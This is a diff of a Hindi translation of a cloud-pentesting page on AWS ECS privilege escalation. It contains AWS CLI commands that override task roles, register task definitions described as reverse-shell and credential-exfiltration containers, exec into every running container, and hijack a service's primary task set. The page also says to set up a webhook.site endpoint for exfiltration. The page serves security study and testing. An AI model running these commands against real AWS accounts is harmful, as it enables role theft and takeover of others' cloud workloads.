}} -webhook.site जैसी साइट के साथ एक webhook बनाएं +webhook.site जैसी साइट पर एक webhook बनाएं ```bash # Create file container-definition.json @@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**संभावित प्रभाव:** Direct privesc to a different ECS role. +**Potential Impact:** सीधा privesc एक अलग ECS role तक। ### `iam:PassRole`,`ecs:RunTask` -एक हमलावर जिसके पास `iam:PassRole` और `ecs:RunTask` permissions हैं, वह modified **execution role**, **task role** और container के **command** values के साथ एक नया ECS task शुरू कर सकता है। `ecs run-task` CLI command में `--overrides` flag होता है जो runtime पर `executionRoleArn`, `taskRoleArn` और container के `command` को task definition को छुए बिना बदलने की अनुमति देता है। +ऐसा attacker जिसके पास `iam:PassRole` और `ecs:RunTask` permissions हों, वह modified **execution role**, **task role** और container के **command** values के साथ एक नया ECS task start कर सकता है। `ecs run-task` CLI command में `--overrides` flag होता है जो runtime पर `executionRoleArn`, `taskRoleArn` और container के `command` को task definition को छुए बिना बदलने की अनुमति देता है। -निर्दिष्ट IAM roles (`taskRoleArn` और `executionRoleArn`) की trust policy में `ecs-tasks.amazonaws.com` द्वारा उन्हें assume करने की अनुमति/विश्वास होना चाहिए। +`taskRoleArn` और `executionRoleArn` के लिए निर्दिष्ट IAM roles की trust policy में `ecs-tasks.amazonaws.com` द्वारा उन्हें assume करने की अनुमति/भरोसा होना चाहिए। -साथ ही, हमलावर को निम्न जानकारियाँ पता होनी चाहिए: +साथ ही, attacker को निम्न जानकारियाँ पता होनी चाहिए: - ECS cluster name - VPC Subnet -- Security group (यदि कोई security group निर्दिष्ट नहीं है तो default one उपयोग किया जाएगा) +- Security group (If no security group is specified the default one will be used) - Task Definition Name and revision - Name of the Container ```bash @@ -105,9 +105,9 @@ aws ecs run-task \ ] }' ``` -ऊपर के कोड स्निपेट में attacker केवल `taskRoleArn` वैल्यू को ओवरराइड करता है। हालांकि, attacker के पास कमांड में निर्दिष्ट `taskRoleArn` और task definition में निर्दिष्ट `executionRoleArn` दोनों पर `iam:PassRole` परमिशन होना जरूरी है ताकि यह attack हो सके। +ऊपर दिए गए कोड स्निपेट में attacker केवल `taskRoleArn` मान को ओवरराइड करता है। हालांकि, attacker के पास कमांड में निर्दिष्ट `taskRoleArn` और task definition में निर्दिष्ट `executionRoleArn` पर `iam:PassRole` permission होना चाहिए ताकि attack संभव हो सके। -यदि attacker द्वारा पास की जा सकने वाली IAM role में ECR image को pull करने और ECS task शुरू करने के लिए पर्याप्त privileges हैं (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) तो attacker `ecs run-task` कमांड में `executionRoleArn` और `taskRoleArn` दोनों के लिए वही IAM role निर्दिष्ट कर सकता है। +यदि attacker द्वारा पास की जा सकने वाली IAM role के पास ECR image को pull करने और ECS task को start करने के लिए पर्याप्त privileges हैं (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) तो attacker `ecs run-task` command में दोनों `executionRoleArn` और `taskRoleArn` के लिए वही IAM role निर्दिष्ट कर सकता है। ```sh aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' { @@ -121,11 +121,11 @@ aws ecs run-task --cluster --launch-type FARGATE --network-config ] }' ``` -**Potential Impact:** किसी भी ECS task role पर सीधे privesc। +**संभावित प्रभाव:** सीधा privesc किसी भी ECS task role पर। ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -पिछले उदाहरण की तरह, एक attacker जो ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions का दुरुपयोग करता है, वह **generate a new task definition** बना सकता है जिसमें एक **malicious container** हो जो metadata credentials चोरी करे और उसे **run it**।\ +पिछले उदाहरण की तरह, ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions का दुरुपयोग करने वाला attacker **generate a new task definition** कर सकता है जिसमें एक **malicious container** हो जो metadata credentials चुरा ले और **run it**।\ हालाँकि, इस मामले में, malicious task definition को चलाने के लिए एक container instance की आवश्यकता होगी। ```bash # Generate task definition with rev shell @@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**संभावित प्रभाव:** Direct privesc to any ECS role. +**संभावित प्रभाव:** किसी भी ECS role पर सीधा privesc। -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -पिछले उदाहरण की तरह, एक हमलावर जो ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करता है, वह **generate a new task definition** बना सकता है जिसमें एक **malicious container** हो जो metadata credentials चुरा ले और **run it by creating a new service with at least 1 task running.** +जैसा कि पिछले उदाहरण में, ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`, `ecs:CreateService`** अनुमतियों का दुरुपयोग करने वाला attacker एक **नया task definition जनरेट** कर सकता है जिसमें एक **malicious container** होता है जो metadata credentials चुरा लेता है और **इसे कम से कम 1 task के साथ एक नया service बनाकर चलाता है।** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -169,11 +169,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**संभावित प्रभाव:** Direct privesc to any ECS role. +**Potential Impact:** किसी भी ECS role पर सीधे privesc. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -दरअसल, सिर्फ़ उन अनुमतियों के साथ overrides का उपयोग करके किसी container में किसी भी role के साथ arbitrary commands चलाना संभव है, कुछ इस तरह: +दरअसल, केवल उन अनुमतियों के साथ overrides का उपयोग करके किसी भी role के साथ कंटेनर में मनचाहे कमांड चलाना संभव है, कुछ ऐसा: ```bash aws ecs run-task \ --task-definition "" \ @@ -181,16 +181,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**संभावित प्रभाव:** किसी भी ECS role पर सीधे privesc। +**संभावित प्रभाव:** Direct privesc to any ECS role. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -यह परिदृश्य पिछले वाले जैसा है लेकिन **बिना** **`iam:PassRole`** permission के।\ -यह अभी भी महत्वपूर्ण है क्योंकि यदि आप एक मनमाना container चला सकते हैं, भले ही वह role के बिना हो, तो आप **run a privileged container to escape** करके node तक पहुँच सकते हैं और **steal the EC2 IAM role** और node पर चल रहे **other ECS containers roles** चुरा सकते हैं।\ -आप यहाँ तक कि उस EC2 instance में भेजकर अन्य tasks को भी मजबूर कर सकते हैं जिसे आप compromise करते हैं ताकि उनकी credentials चुरा सकें (जैसा कि [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) में चर्चा की गई है)। +यह परिदृश्य पिछले मामलों जैसा है लेकिन **बिना** **`iam:PassRole`** अनुमति के।\ +यह अभी भी महत्वपूर्ण है क्योंकि यदि आप किसी arbitrary container को चला सकते हैं, भले ही उसमें कोई role न हो, तो आप नोड पर पहुँचने के लिए **एक privileged container चला कर escape कर सकते हैं** और नोड पर चल रहे **EC2 IAM role** और **अन्य ECS containers roles** को **चुरा सकते हैं**।\ +आप यहाँ तक कि उन अन्य tasks को, जिन्हें आप compromise करते हैं, उनके credentials चुराने के लिए उस **EC2 instance** के अंदर चलने के लिए **मजबूर कर सकते हैं** (जैसा कि [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) में बताया गया है)। > [!WARNING] -> यह attack सिर्फ तभी संभव है जब **ECS cluster is using EC2** instances हों और Fargate का उपयोग नहीं हो रहा हो। +> यह हमला केवल तब संभव है जब **ECS cluster EC2 instances का उपयोग कर रहा हो** और Fargate नहीं। ```bash printf '[ { @@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -जिसके पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** permissions हों, attacker running container के अंदर **execute commands** कर सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (आपको describe permissions की जरूरत होती है क्योंकि `aws ecs execute-command` चलाने के लिए यह आवश्यक है).\ -हालाँकि, ऐसा करने के लिए container instance पर **ExecuteCommand agent** चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता). +एक हमलावर जिसके पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** हों, वह चल रहे कंटेनर के अंदर **execute commands** कर सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (आपको describe permissions की ज़रूरत होती है क्योंकि `aws ecs execute-command` चलाने के लिए यह आवश्यक है)।\ +हालाँकि, ऐसा करने के लिए, container instance पर **ExecuteCommand agent** चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता)। -Therefore, the attacker cloud try to: +इसलिए, हमलावर कोशिश कर सकता है: -- **हर running container में command चलाने की कोशिश करें** +- **हर चल रहे कंटेनर में कमांड चलाने की कोशिश करना** ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -256,18 +256,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ task चलाएँ -- यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ task चलाएँ -- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ service बनाएँ -- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ service अपडेट करें +- यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ एक task चलाएँ +- यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ एक task चलाएँ +- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ एक service बनाएँ +- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ एक service अपडेट करें -आप **उन विकल्पों के उदाहरण** को **previous ECS privesc sections** में पा सकते हैं। +इन विकल्पों के **उदाहरण** आप **पिछले ECS privesc अनुभागों** में पा सकते हैं। -**Potential Impact:** containers से जुड़े किसी अलग role में Privesc। +**Potential Impact:** कंटेनरों से जुड़ी किसी अलग role पर privesc। ### `ssm:StartSession` -जाँचें **ssm privesc page** में कि आप इस permission का दुरुपयोग कर **privesc to ECS** कैसे कर सकते हैं: +देखें **ssm privesc पृष्ठ** में कि आप इस अनुमति का दुरुपयोग करके कैसे **ECS पर privesc** कर सकते हैं: {{#ref}} aws-ssm-privesc.md @@ -275,7 +275,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -जाँचें **ec2 privesc page** में कि आप इन permissions का दुरुपयोग कर **privesc to ECS** कैसे कर सकते हैं: +देखें **ec2 privesc पृष्ठ** में कि आप इन permissions का दुरुपयोग करके कैसे **ECS पर privesc** कर सकते हैं: {{#ref}} aws-ec2-privesc.md @@ -283,16 +283,16 @@ aws-ec2-privesc.md ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -इन permissions वाले हमलावर संभावित रूप से एक EC2 instance को एक ECS cluster में register कर सकते हैं और उस पर tasks चला सकते हैं। इससे हमलावर को ECS tasks के context में arbitrary code execute करने की अनुमति मिल सकती है। +इन permissions वाले हमलावर संभावित रूप से किसी ECS cluster में एक EC2 instance register कर सकते हैं और उस पर tasks चला सकते हैं। इससे हमलावर को ECS tasks के context के भीतर मनमाना कोड execute करने की अनुमति मिल सकती है। -- TODO: क्या यह संभव है कि किसी अलग AWS account से instance register किया जाए ताकि tasks हमलावर द्वारा नियंत्रित machines पर चलें?? +- TODO: क्या किसी अलग AWS account से instance register करना संभव है ताकि tasks हमलावर द्वारा नियंत्रित मशीनों पर चलें?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this +> TODO: परीक्षण करें -इन permissions वाले हमलावर `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` के साथ **existing ECS service के लिए एक malicious task set create कर सकते हैं और primary task set को update कर सकते हैं**। इससे हमलावर को सर्विस के भीतर **arbitrary code execute करने** की अनुमति मिलती है। +`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` permissions वाले हमलावर **मौजूदा ECS service के लिए एक दुर्भावनापूर्ण task set बना सकते हैं और primary task set को अपडेट कर सकते हैं**। इससे हमलावर को **service के भीतर मनमाना कोड execute करने** की अनुमति मिलती है। ```bash # Register a task definition with a reverse shell echo '{ @@ -318,9 +318,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**संभावित प्रभाव**: प्रभावित सेवा में Execute arbitrary code चलाया जा सकता है, जिससे इसकी कार्यक्षमता प्रभावित हो सकती है या संवेदनशील डेटा का exfiltrating हो सकता है। +**संभावित प्रभाव**: प्रभावित सेवा में arbitrary code निष्पादित करना, जिससे इसकी कार्यक्षमता प्रभावित हो सकती है या exfiltrating sensitive data किया जा सकता है। -## References +## संदर्भ - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)